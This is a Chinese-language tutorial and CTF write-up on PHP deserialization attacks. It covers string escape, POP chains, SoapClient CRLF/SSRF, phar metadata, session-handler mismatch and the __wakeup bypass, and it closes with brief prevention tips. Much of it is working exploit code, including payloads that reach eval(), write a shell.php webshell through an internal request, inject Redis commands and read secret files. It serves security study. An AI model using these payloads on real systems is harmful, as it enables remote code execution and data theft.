主頁 >  其他 > php反序列化漏洞

php反序列化漏洞

2020-10-06 21:13:33 其他

前言

本文總結php的反序列化,有php反序列字串逃逸,php反序列化pop鏈構造,php反序列化原生類的利用,phar反序列化,session反序列化,反序列化小技巧,并附帶ctf小題來說明,還有php反序列化的預防方法(個人想法),建議按需查看,如有錯誤還望斧正,
如非特別說明運行環境為PHP 7.2.33-1+ubuntu18.04.1

為什么要序列化?

序列化可以將物件,類,陣列,變數,匿名函式等,轉換為字串,這樣用戶就方便存盤和傳輸,同時方便恢復使用,對服務器也減輕一定的壓力,

序列化基礎

序列化為字串時候,變數和引數之間用;隔開,同一個變數和引數間用:號隔開,以}作為結尾,具體結構,用以下代碼來看下結構

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?>

序列化屬性

在一個可以序列化的字串后加其他引數不影響序列化后的結果

如:
測驗代碼:

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?>

效果:可以發現,后面加了其他引數并不影響序列化后的結果

顯示變數長度和實際長度不匹配就會報錯,在這里在某些情況就會產生字串逃逸

如:
測驗代碼:

<?php
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?>

效果:可以發現我改了變數名name使它的長度和實際4不符,就發生了報錯,改其他類似

反序列常見魔術函式總覽,可構造pop鏈

__construct: 當創建類的時候自動呼叫,也就是建構式,無回傳值
__destruct: 當類實體子銷毀時候自動呼叫,也就是解構式,無回傳值,其不能帶引數
__toString:當物件被當做一個字串使用時呼叫,比如echo $obj ,
__sleep: 當類的實體被序列化時呼叫(其回傳需要一個陣列或者物件,一般回傳物件的$this,回傳的值被用來做序列化的值,如果不回傳,表示序列化失敗)
__wakeup: 當反序列化時被呼叫
__call:當呼叫物件中不存在的方法會自動呼叫該方法,
__get:在呼叫私有屬性的時候會自動執行
__isset()在不可訪問的屬性上呼叫isset()或empty()觸發
__unset()在不可訪問的屬性上使用unset()時觸發

反序列化字串逃逸(替換后導致字串變長)

字串逃逸利用的是反序列化的屬性如上文,出現原因是在序列化前進行了字串的替換,導致字串被拓沖,可以將后面的字串擠出去,擠到后一個物件的變數從而改變其他的變數值,造成逃逸,
如:
測驗代碼:

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>

序列化后的字串為:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
如果能讓name變數的引數為
";s:4:"pass";s:6:"hack";}
用}號閉合掉后面的pass引數,就能改pass變數的引數值從而逃逸
要解決的就是這個位置的長度問題,只用讀取到足夠的長度,才會停止

可以發現在序列化進行了字串的替換,但替換的時候bb替換成了ccc,也就是字串變長了,達到我們上面想要的目的

先判斷想要構造的字串長度

<?php
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?>

運行長度為25,一個bb換成ccc,就逃逸1個字符,也就是說需要25個bb才能將后面的字串給擠出來

<?php
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?>

將name變數引數變為25個bb+";s:4:"pass";s:6:"hack";}
測驗代碼:

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
    public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c->pass."\n";
?>

運行結果:構造完的字串,反序列化后發現密碼被改為了hack,而我們并未直接修改pass的引數,從而實作字串的逃逸

一個ctf例題([0CTF 2016]piapiapia)

地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
打開題目掃描一下發現wwww.zip檔案下載,因為本文主要交php反序化就不繞了
發現config.php中又flag,所以要讀取檔案,在profile.php中發現讀取檔案的代碼

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

如果能讓photo為config.php,而這數值來自$profile的反序列化,查看$profile

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

發現有過濾

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

要進行字串的逃逸應該先考慮用nickname來構造字串逃逸photo應為nickname在其前面
然后發現nickname有正則過濾,考慮用陣列來進行繞過

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

陣列繞過后就考慮進行逃逸將photo擠出去
所以我們需要構造nickname的引數值為";}s:5:"photo";s:10:"config.php";}
這里為什么要在前面加一個}呢???,因為為了繞過nickname的正則匹配我們將其構造成了陣列,陣列在反序列化要進行閉合,可以嘗試一下
構造代碼

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>

運行結果發現陣列位置進行了閉合

這就是為啥上面要先進行}在逃逸
構造我們想要的內容后要進行逃逸,我們發現過濾的時候將where改成了hacker,進行了字串拓展增建了一個字串,我們構造的字串長度為34所以我們要構造34個where進行逃逸

然后查看profile.php的圖片,base64解碼就獲得了config.php中的flag

反序列化字串逃逸(替換后導致字串變短)

字串變短的逃逸類似于變長,都是利用了替換字串導致的可輸入變數的改變,從而可以閉合
測驗代碼:

<?php
function str_rep($string){
	return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

發現進行了過濾,將php和test轉換為空
如果我們在name的引數中輸入php,test等,就換轉換為空,那么就會把后面的資料當成變數
而sign的引數是可控的,如果當name引數為空而讀取到sign可控引數前,那么就可以通過sign的引數控制字串用}號來閉合掉后面的
計算";s:4:"sign";s:51:"的長度為19
而過濾php一個能吞掉3個字串,所以我們要輸入7個php也就是吞掉21長度,而后面是19長度,所以我們加2個字符來補充
所以構造

name=phpphpphpphpphpphpphp
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}

其中sign中12為補充使其為21長度,"號用于閉合name引數,然后可以發現,number不可變變數被改變

一個ctf例題([安洵杯 2019]easy_serialize_php)

題目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
打開題目是一段代碼

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="https://www.cnblogs.com/Lmg66/archive/2020/10/06/index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 



先看看phpinfo中的資料,提示在d0g3_f1ag.php檔案中

<?php
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>

先構造代碼嘗試運行結果

和上面原理一樣要將吞掉,長度為23
";s:8:"function";s:75:"
為什么s:后是75因為s后的長度必然大于10(也就是function傳入資料的長度)所以我們只要大于10小于100都行,因為資料長度不可能大于100
而flag換成空格吞掉4個字串,所以要6個flag(當然也可以8個php:3*8=24),然后還有在function引數加一個字串來滿足吞24個字串
所以構造數字1也就是滿足24長度加的,img變數要base64,因為實際的img引數被我們給擠出去了,所說這里不影響
payload(post傳輸):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后查看顯示,查看源代碼:

將img引數讀取的檔案改為/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

反序列化pop鏈構造

有時遇見魔法方法中沒有利用代碼,即不存在命令執行檔案操作函式,可以通過呼叫其他類方法和魔法函式來達到目的
反序列化想構造的出的方法
命令執行:exec()、passthru()、popen()、system()
檔案操作:file_put_contents()、file_get_contents()、unlink()

實體

代碼:

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new normal();
	}
	function __destruct() {
		$this->ClassObj->action();
	}
}
class normal {
	function action() {
		echo "hello";
	}
}
class evil {
	private $data;
	function action() {
		eval($this->data);
	}
}
unserialize($_GET['d']);
?>

lemon類創建了正常normal類,然后銷毀時執行了action()方法,很正常,但如果讓其呼叫evil類,銷毀時候就會呼叫evil的action()方法出現eval方法,就能達到效果,所以需要構造

<?php
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new evil();
	}
}
class evil {
	private $data = "https://www.cnblogs.com/Lmg66/archive/2020/10/06/phpinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?>

evil中data引數為私有屬性,在序列化時會出現不可復制字符,需進行url編碼
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

其中phpinfo();可換成其他想要執行的命令system('dir');等等

php反序列化原生類利用

反序列沒有合適的利用鏈,需要利用php自帶的原生類

__call方法

__call方法在呼叫不存在類的方法時觸發
PHP代碼:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

通過unserialize進行反序列化,呼叫不存在notextist()類,將觸發__call()魔法函式,
php中原生類soapClient,存在可以進行__call魔法函式,
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用來描述如何訪問具體的介面, UDDI用來管理,分發,查詢webService ,SOAP(簡單物件訪問協議)是連接或Web服務或客戶端和Web服務之間的介面,
其采用HTTP作為底層通訊協議,XML作為資料傳送的格式,
php中的SoapClient類可以創建soap資料報文,與wsdl介面進行互動,

其中option可以定義 User-Agent

payload:

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

注意:要開啟soap,在php.ini中去除extension=php_soap.dll之前的“;” ,重啟服務
payload:

<?php
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?>

地址換成自己服務器地址
我是用虛擬機ubantu開啟的埠
nc -l 8888
執行:


當然我們也可以傳資料進行CRLF,攻擊內網服務,注入redis命令,因為可定義user_agent
payload:

<?php
	$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
	// echo $lmg."\n";
	$poc = "CONFIG SET dir /root/";
	$target = "http://192.168.124.133:8888/";
	$content = "Content-Length:45\r\n\r\ndata=https://www.cnblogs.com/Lmg66/archive/2020/10/06/abc";
	$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello'));
	$aaa = serialize($b);
	$aaa = str_replace('^^', "\n\r", $aaa);
	echo $aaa."\n";
	echo urlencode($aaa)."\n";
?>



內網中寫shell:
內網中test.php

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
	echo 'hi';
	@$a=$_POST[1];
	@eval($a);

}
 ?>

可以利用反序列化,CRLF內網攻擊寫shell,反序列化位置

<?php
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

payload:

<?php
$target = 'http://127.0.0.1/CTF/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: '
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c->ss();
?>

成功被寫入shell.php

__toString原生類利用

測驗代碼:

<?php
	echo unserialize($_GET['u']);

?>

利用payload:

<?php
	echo urlencode(serialize(new Exception("<script>alert(1)</script>")));
?>

exception類對于錯誤訊息沒有經過編碼,直接輸出到了網頁,便可以造成xss

phar反序列化

來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,可以在不使用php函式unserialize()的前提下,引起嚴重的php物件注入漏洞,
這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題為:”不為人所知的php反序列化漏洞”,它可以使攻擊者將相關漏洞的嚴重程度升級為遠程代碼執行,我們在RIPS代碼分析引擎中添加了對這種新型攻擊的檢測,

原理

phar檔案結構

  • a stub
    檔案格式標準,格式為xxx 前面內容不限,但必須以__HALT_COMPILER();?>,否則無法識別是不是phar檔案,其中xxx可以用作繞過檔案上傳的檢測
  • a manifest describing the contents
    phar本質是一種壓縮檔案,壓縮檔案的權限,屬性等資訊所存放的位置,以序列的化的方法存盤用戶自定義的meta-data,在使用phar://偽協議時會反序列化這部分,漏洞產生的原因就在這里
  • the file contents
    被壓縮檔案的內容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    簽名,檔案末尾,格式:

    phar://偽協議介紹
    這個引數是php解壓壓縮包的一個函式,不管什么,都會當做壓縮包來解壓
    測驗:
    要將php.ini中的phar.readonly選項設定為off,不然沒法生成phar檔案
    用來包含某個檔案,構建類TestObject,然后解構式結束時列印data資料
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}

include($_GET['Lmg']);
?>

生成phar檔案,且定義的meta-data的序列化

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('<?php __HALT_COMPILER();?>');   //設定stub,增加gif檔案頭
    $phar ->addFromString('test.txt','test');  //添加要壓縮的檔案
    $object = new TestObject();
    $object -> data = 'https://www.cnblogs.com/Lmg66/archive/2020/10/06/Lmg';
    $phar -> setMetadata($object);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
?>

運行生成檔案為phar的檔案

在真實情況,需要上傳到目標服務器,然后利用phar在解壓時會反序化meta-data部分來達到目的,這里就直接直接包含了,列印了Lmg字串

受影響的函式

利用條件:

  • phar檔案要能上傳
  • 有可利用函式如上圖,可魔法函式構造pop鏈
  • 檔案函式操作可控,: / phar 等沒過被過濾

一個ctf例子([CISCN2019 華北賽區 Day1 Web1]Dropbox)

題目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
打開頁面發現是一個注冊于登錄頁面,注冊登錄發現是個類似網盤的功能,初始時在登錄和注冊頁面嘗試sql注入發現不行,然后在下載功能嘗試下載發現登錄和注冊位置對資料庫操作進行了prepare()的預處理,網盤有個下載功能,嘗試下載,嘗試任意下載,抓包,將下載內容改為原始碼(有index.php class.php upload.php download.php login.php register.php),為啥要加../../呢??前期我也不知道,看了別人題解發現,下載原始碼發現download.php,限制了切換了目錄,同時沒法下載其他目錄,這就是后來為啥要用delete功能來phar://,那個位置沒有進行目錄的切換,然后想嘗試檔案上傳來getshell,首先上傳時進行了后綴判讀,而且我們不知道上傳后了路徑,所以考慮其他方法


查看delete.php,new file()其用了delete()函式,到class.php中查看detele()使用unlink()來洗掉,而unlink()函式是phar反序列化受影響函式,那么下面我們想要的就是構造就是打開顯示flag.txt檔案,為啥flag在flag.txt中我就不知道了,可能ctf選手直覺,有點玄學了,如果你知道可以評論告訴我感謝,繼續,在class.php中發現close()中File類file_get_contents(),但是沒法呼叫,然后發現user類中的解構式呼叫了close類,如果我們令$db=new File();的化,但是雖然我們打開了檔案,但是沒用回顯,所以還是看不見檔案內容,所以要構造其他的pop鏈,然后發現FileList()中存在魔法函式_call,如果呼叫了不存在的函式就會執行,call函式的作用:

 public function __call($func, $args) {
        array_push($this->funcs, $func);      //如果呼叫了不存在的方法,將改方法放到funcs陣列中
        foreach ($this->files as $file) {     //再從files陣列中取出方法,利用這個元素去呼叫funcs中新增的func
            $this->results[$file->name()][$func] = $file->$func();  //因為呼叫了不存在的鍵值close(),所以func=close,所以$file->$func相當于呼叫close()函式
        }
    }

而close函式打開$this->filename檔案,所以我們構造File中的filename=./flag.txt就能打開該檔案,而且該檔案的內容存盤到了results陣列鍵值中,然后我們查看
File類中的解構式,發現:

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td >' . htmlentities($value) . '</td>';
            }

這里對result的鍵值進行了輸出,所以就能得到flag.txt中的內容
最后payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
    	$file = new File();
        $file->filename = "/flag.txt"; //構造filename讓其打開該檔案
        $this->files = array($file); 
    }
}

// $a = new User();
// $a->db = new FileList(); //這里讓FileList呼叫了不存在函式close()函式

$phar = new Phar("phar.phar"); //后綴名必須為phar

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設定stub

$o = new User();
$o->db = new FileList(); //這里讓FileList呼叫了不存在函式close()函式

$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>

php反序列化Session反序列化

session在互聯網起到的作用

session用于跟蹤用戶的行為,保存用戶的資訊和狀態等等
session當用戶第一次訪問網站時,session_start()函式就會創建唯一的sessionid,通過HTTP回應將sessionid保存到用戶的cookie中,同時在服務器創建一個sessionid命名的檔案,用于保存這個用戶的會話資訊,當用戶再次訪問這個網站時,也會通過http請求將cookie中保存的session再次攜帶,但是服務器不會再創建同名檔案,而是硬碟中尋找sessionid的同名檔案,且將其讀取出來,
服務器session_start()函式作用
當會話開始或通過session_start()開始時,php內部會通過傳來的sessionid來讀取檔案,php會自動序列化sessio檔案內容,并將其填充到超全域變數$_SESSION中,如果不存在對應的會話資料,則創建一個sessionid的檔案,如果用戶為發送sessionid,則創建一個由32個字母組成的phpsessionid,并回傳set-cookie

session配置和phpsession反序列化原理

php.ini中的session配置


因為我使用的是phpstudy搭建的環境所以路徑比較奇怪
常見的存盤位置

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

session反序列化原理

session的存盤機制

測驗代碼:

<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

分別注釋查看不同機制的保存方式,我們分別?a=123查看

  • Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'php'); php機制
  • a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "php_serialize"); php_serialize機制
  • Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "php_binary"); php_binary機制
    產生session反序列的原因就在程式員在讀取或者存盤中使用了不同的機制,我們以php_serialize格式來存盤,用php機制來讀取
    測驗代碼:
    存盤session代碼:
<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

讀取session代碼:

<?php
	ini_set("session.serialize_handler", "php");
	session_start();
	class student {
		var $name;
		var $age;
		function __wakeup(){
			echo $this->name;
		}
	}
?>

我們先構造一個student的類來生成我們想要的目的

<?php
	class student {
		var $name;
		var $age;
	}
$Lmg = new student();
$Lmg->name = "hack";
$Lmg->age = "19";
echo serialize($Lmg);
?>

生成的序列化字串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
我們構造在儲存頁面構造payload,只需要在上面的字串前加|就可,為什么呢???

如果我們傳入的數值中有|那么在讀取時就認為后面是我們要反序列化的字串,從而達到目的
將構造的字串傳入存盤php中計:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看儲存的字串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
所以達到了目的

查看一下讀取的php,成功列印了hack

沒有$_SESSION賦值的session反序列化

在php中存在一個upload_process機制,可以自動創建$_SESSION一個鍵值對,而且其中的值用戶可以控制,檔案上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態


什么意思呢????意思上傳檔案,同時post一個于session.upload_process.name同名的變數,后端就會自動將post的這個同名變數作為鍵,進行序列化然后存盤到session檔案中,下次請求就會反序列化session檔案

一個ctf題來實踐了解一下

題目地址:http://web.jarvisoj.com:32784/index.php
打開題目是原始碼:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

先讀取session,然后get傳入phpinfo引數,然后創建物件,物件中建構式給mdzz賦值phpinfo,解構式執行eval,所以我們的目的是將mdzz構造為讀取檔案
,先隨便傳入引數,查看phpinfo中的引數,發現默認的反序列化機制是php-serialize,但是題目所使用php,那么這個兩個機制再上文產生的漏洞我們已經了解,但是我們沒法給session進行存盤啊,所以就要用到上面session上傳進度的session存盤來存入我們想要的內容

構造上傳表單

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="https://www.cnblogs.com/Lmg66/archive/2020/10/06/123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后構造我們想要的payload,列印目錄檔案print_r(scandir(dirname(FILE)));,如果寫入解構式會eval執行

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?>

生成的序列化字串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
我們用上傳表單隨便上傳一個檔案,抓包將filename改為
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
為什么要改filename,因為其會跟file陣列保存到session中上面圖片有說明
為啥要在字串前加|,這個上面也說過,因為反序列化的機制不一樣,|后會當做要反序列化的字串
為什么要再"前加\,因為我們的字串是放在filename=""雙引號內要進行轉義

發現成功讀取到檔案名,但是我們不知道檔案目錄,查看phpinfo(),查看當前腳本的運行路徑

所以構造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));來讀取這個檔案
payload:

<?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));";
echo serialize($Lmg);
?>

生成的字串,成功獲得flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

php反序列化小技巧

__wakeup失效:CVE-2016-7124

漏洞利用版本:
php5<5.6.25
php7<7.0.10
漏洞產生原因
如果存在_wakeup方法,呼叫unserilize()方法前則先呼叫_wakeup方法,但是序列化字串中表示物件屬性個數的值大于真實的屬性個數時候,便會跳過_wakeup的執行
測驗代碼:

<?php
class demo{
	public $name = "Lmg";
	public function __wakeup(){
		echo "this is __wakeup<br>";
	}
	public function __destruct(){
		echo "this is __destruct<br>";
	}
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?>


對比發現頁面只執行了__destruct方法,從而__wakeup()失效

一個ctf例題(unserialize3)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打開題目直接是部分原始碼,看到wakeup函式應該想到是利用__wakeup()失效漏洞
題目原始碼:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

構造payload:

<?php
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?>

生成的字串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功獲得flag

bypass反序列化正則

當執行反序列化時,使用正則'/[oc]:\d+:/i'
進行攔截時,主要攔截O:數字:的反序列化字串,那要怎么繞過呢???
php反序列化時O:+4:和O:4:的決議是一樣的,具體是php的內核是這么寫的
所以可以通過加+來進行繞過

一個ctf例題(Web_php_unserialize)

題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打開題目是源代碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>


所以構造payload來進行繞過:

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()
$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()
echo base64_encode($x);
?>

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var傳入即可獲得flag
如果這里沒有base64加密,我么也需要進行url編碼,因為demo中private為私有屬性,反序列化會出現不可見字符,所以要進行url編碼

如何防止php反序列化

  1. 盡量不要用序列化來傳輸資料
  2. 不要相信用戶傳入資料,或者不讓用戶傳入完整的序列化型別,進行過濾
  3. 隔離運行在低權限環境中的反序列化,記錄反序列化例外和失敗,例如傳入型別不是預期型別,或者反序列化引發例外,限制或監視來自反序列化的容器或服務器的傳入和傳出網路連接,限制或監視來自反序列化的容器或服務器的傳入和傳出網路連接,監視反序列化,如果用戶不斷地反序列化,則發出警報,

參考文章及說明

參考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《從從0到1 ctfer的成長之路》
最后歡迎訪問我的個人博客:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/160096.html

標籤:其他

